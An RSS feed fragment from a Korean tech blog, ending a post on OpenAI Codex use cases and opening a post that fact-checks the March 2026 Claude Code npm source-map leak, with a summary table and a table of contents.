&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;ChatGPT와 내 앱을 통합하고 싶음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dde8f0;&quot;&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/chatgpt-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ChatGPT 앱 만들기&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- ===== 참고 자료 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;references&quot; style=&quot;font-size: 22px; color: #1a3a52; border-bottom: 2px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 22px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Use Cases 공식 페이지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/github-code-reviews&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Review pull requests faster&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/iterate-on-difficult-problems&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Iterate on difficult problems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/codebase-onboarding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Understand large codebases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/datasets-and-reports&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Analyze datasets and ship reports&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/frontend-designs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Build responsive front-end designs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/figma-designs-to-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Turn Figma designs into code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/chatgpt-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bring your app to ChatGPT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/native-ios-macos-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Build for iOS and macOS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/browser-games&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Create browser-based games&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/generate-slide-decks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Generate slide decks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/slack-coding-tasks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Kick off coding tasks from Slack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/use-cases/api-integration-migrations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Upgrade your API integration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Custom instructions with AGENTS.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://news.hada.io/topic?id=27938&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews: Codex 활용 사례 모음 (#27938)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- ===== 푸터 ===== --&gt;
&lt;div style=&quot;background-color: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 16px 20px; margin-top: 40px; font-size: 13px; color: #666;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일:&lt;/b&gt; 2026-03-30 | &lt;b&gt;분석 대상:&lt;/b&gt; developers.openai.com/codex/use-cases (2026-03-30 기준)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 글의 모든 유즈케이스 설명, 난이도, 소요 시간, 스타터 프롬프트는 OpenAI 공식 문서에서 직접 수집한 데이터에 기반한다. OpenAI의 서비스 정책 및 기능은 변경될 수 있으므로, 최신 정보는 공식 페이지에서 확인하기 바란다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AGENTS.md</category>
      <category>ai 코딩 에이전트</category>
      <category>Codex 2026</category>
      <category>Codex 유즈케이스</category>
      <category>Codex 활용법</category>
      <category>iOS 앱 빌드</category>
      <category>openai codex</category>
      <category>PR 자동 리뷰</category>
      <category>데이터 분석 자동화</category>
      <category>스타터 프롬프트</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/573</guid>
      <comments>https://goddaehee.tistory.com/573#entry573comment</comments>
      <pubDate>Thu, 2 Apr 2026 00:13:33 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 소스맵 유출 사건 - npm 실수 한 번에 512,000줄 공개, 유출된 Claude Code 소스로 본 미공개 기능 분석</title>
      <link>https://goddaehee.tistory.com/572</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZv9qf/dJMcacvQceH/pICtA4ZC2epj9RMqR3Q6Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZv9qf/dJMcacvQceH/pICtA4ZC2epj9RMqR3Q6Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZv9qf/dJMcacvQceH/pICtA4ZC2epj9RMqR3Q6Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZv9qf%2FdJMcacvQceH%2FpICtA4ZC2epj9RMqR3Q6Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2028&quot; height=&quot;1126&quot; data-origin-width=&quot;2028&quot; data-origin-height=&quot;1126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 31일 저녁 보안 연구자 Chaofan Shou(&lt;a href=&quot;https://x.com/Fried_rice/status/2038894956459290963&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@Fried_rice&lt;/a&gt;)가 놀라운 사실을 공개했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;&quot;Claude Code의 전체 소스 코드가 npm 패키지에 그대로 들어있다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;해커의 소행이 아니었다. Anthropic이 빌드 과정에서 소스맵(source map) 파일을 실수로 패키지에 포함시켜 배포한 것이다. 그 결과, 누구든 &lt;code&gt;@anthropic-ai/claude-code&lt;/code&gt; 패키지를 설치한 사람이라면 1,906개의 TypeScript 파일, 512,000줄이 넘는 소스 코드를 아무런 제약 없이 들여다볼 수 있게 됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;커뮤니티 반응은 즉각적이었다. 불과 몇 시간 만에 독립 분석 문서 사이트가 등장했고, GitHub에 아카이브 저장소가 생겼으며, Hacker News는 뜨겁게 달아올랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;한국 커뮤니티에서는 &quot;&lt;b&gt;AGI의 비밀이 수십만 줄의 TypeScript 조건문이었다&lt;/b&gt;&quot;는 우스갯소리까지 돌았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 글에서는 단순한 사건 소개를 넘어, 실제로 유출된 코드가 무엇을 드러내는지 깊이 분석한다. 어떻게 유출됐는지, 무엇이 발견됐는지, 그리고 이것이 개발자와 AI 업계에 어떤 의미를 갖는지 정리해보려 한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;팩트체크: 커뮤니티 주장 vs 실제 수치&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;소스맵 유출이란 무엇인가 &amp;mdash; 기술적 배경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;두 번째 유출 &amp;mdash; 왜 반복됐나
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2025년 첫 번째 사건과의 차이&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;유출 규모와 기술 스택 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;핵심 아키텍처: 드러난 설계의 비밀
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;에이전트 파이프라인 구조&lt;/li&gt;
&lt;li&gt;멀티에이전트 오케스트레이션&lt;/li&gt;
&lt;li&gt;권한 시스템 설계&lt;/li&gt;
&lt;li&gt;IDE 브리지와 보안&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;숨겨진 미출시 기능들
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;BUDDY &amp;mdash; 18종 상세 사양&lt;/li&gt;
&lt;li&gt;KAIROS &amp;mdash; 4개 전용 도구&lt;/li&gt;
&lt;li&gt;ULTRAPLAN &amp;mdash; 원격 Opus 계획 엔진&lt;/li&gt;
&lt;li&gt;Capybara 모델 패밀리&lt;/li&gt;
&lt;li&gt;betas.ts 피처 플래그 전체 목록&lt;/li&gt;
&lt;li&gt;숨겨진 슬래시 커맨드 17개&lt;/li&gt;
&lt;li&gt;출시 타임라인 예측&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;내부 안전장치 &amp;amp; 기술 분석
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Undercover Mode &amp;mdash; Co-Authored-By 헤더 삭제 포함&lt;/li&gt;
&lt;li&gt;ANTI_DISTILLATION_CC &amp;mdash; 경쟁사 방어&lt;/li&gt;
&lt;li&gt;감정 분석: 정규식 vs LLM&lt;/li&gt;
&lt;li&gt;코드 품질 위기: 테스트 없는 64,464줄&lt;/li&gt;
&lt;li&gt;텔레메트리: 1,000개+ 이벤트 &amp;amp; tengu_frond_boric&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응과 논쟁 포인트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Anthropic의 대응과 법적 맥락&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자가 알아야 할 인사이트
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CLAUDE.md 로딩 순서 (4단계 우선순위)&lt;/li&gt;
&lt;li&gt;system-reminder 주입 타이밍&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 의도치 않은 오픈소스의 교훈&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;&lt;b&gt;한눈에 보는 사건 요약 (2026-03-31 기준, v2.1.88)&lt;br /&gt;&lt;/b&gt;&lt;/b&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1034&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p8AFi/dJMcagrrk3G/2pWV3eaifzRKJS0QgGnkmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p8AFi/dJMcagrrk3G/2pWV3eaifzRKJS0QgGnkmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p8AFi/dJMcagrrk3G/2pWV3eaifzRKJS0QgGnkmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp8AFi%2FdJMcagrrk3G%2F2pWV3eaifzRKJS0QgGnkmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1946&quot; height=&quot;1034&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1034&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0 0 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: rgba(255,255,255,0.5);&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;출처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;유출 날짜&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2026-03-31&lt;/b&gt; (두 번째 사건)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://piunikaweb.com/2026/03/31/anthropic-claude-code-source-leaked-npm-registry/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PiunikaWeb&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;발견자&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Chaofan Shou&lt;/b&gt; (&lt;a href=&quot;https://x.com/Fried_rice/status/2038894956459290963&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@Fried_rice&lt;/a&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://cybersecuritynews.com/claude-code-source-code-leaked/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CyberSecurityNews&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;유출 파일&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;cli.js.map&lt;/b&gt; (~59.8MB)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://thehuman2ai.com/blog/claude-code-source-leak&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TheHuman2AI&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;TypeScript 파일 수&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;1,906개&lt;/b&gt; (node_modules 포함 총 4,756개)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/Kuberwastaken/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub 아카이브&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;실제 코드 줄 수&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;512,000줄+&lt;/b&gt; (커뮤니티 &quot;80만 줄&quot;은 과장)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to 분석&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;내부 코드명&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&quot;Tengu&quot;&lt;/b&gt; (100개 이상의 피처 플래그에 접두사로 사용)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/Kuberwastaken/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;소스 분석&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 대응&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;공개 성명 없음, npm 패키지 업데이트로 소스맵 제거&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://techstartups.com/2026/03/31/anthropics-claude-source-code-leak-goes-viral-again-after-full-source-hits-npm-registry-revealing-hidden-capybara-models-and-ai-pet/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechStartups&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 팩트체크: 커뮤니티 주장 vs 실제 수치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소셜미디어에 퍼진 정보 중 일부는 과장됐거나 부정확하다. 먼저 팩트를 정리한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주장&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;판정&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;실제&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;해커가 뚫었다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic의 빌드/배포 실수 (소스맵 미제거)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;80만 줄의 TypeScript&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;과장&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;512,000줄+ (약 51만 줄). 80만은 node_modules 포함 시 근사치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;처음 있는 일&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2025년 2월 24일에 이미 한 번 발생. 이번이 두 번째&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;모델 가중치도 유출&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CLI 프론트엔드 코드만 유출. 모델 가중치&amp;middot;학습 데이터 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;4,756개 파일&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;사실&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code 1,906개 + node_modules 2,850개 = 4,756개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;파일 크기 57MB&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;근사치&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;정확히는 59.8MB (출처에 따라 &quot;57MB&quot; 또는 &quot;59.8MB&quot; 혼용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;mintlify 분석 문서 &quot;수 시간 만에 등장&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;사실&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;mintlify.com/VineeTagarwaL-code/&lt;/a&gt; 당일 공개&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;오늘이 4월 1일입니다. 즉 만우절 ????&lt;/b&gt;&lt;br /&gt;일부 커뮤니티에서는 이 사건이 Anthropic의 에이프릴 풀(April Fools) 마케팅이라는 주장도 나온다. 실제로 소스 코드에는 BUDDY 기능의 &quot;April 1-7, 2026 teaser window&quot;가 명시되어 있다. 그러나 소스맵 유출 자체는 2025년에도 있었던 실수의 반복이며, Anthropic이 신속히 패키지를 수정한 것으로 보아 의도된 공개가 아닌 것으로 판단된다.&lt;/div&gt;
&lt;!-- 섹션 2 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 소스맵 유출이란 무엇인가 &amp;mdash; 기술적 배경&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사건을 이해하려면 먼저 소스맵(source map)이 무엇인지 알아야 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1082&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7L7sf/dJMcah4YmA7/HoTXfGuaNlKM2kF7qJUMVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7L7sf/dJMcah4YmA7/HoTXfGuaNlKM2kF7qJUMVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7L7sf/dJMcah4YmA7/HoTXfGuaNlKM2kF7qJUMVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7L7sf%2FdJMcah4YmA7%2FHoTXfGuaNlKM2kF7qJUMVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;1082&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1082&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;소스맵이란?&lt;/h3&gt;
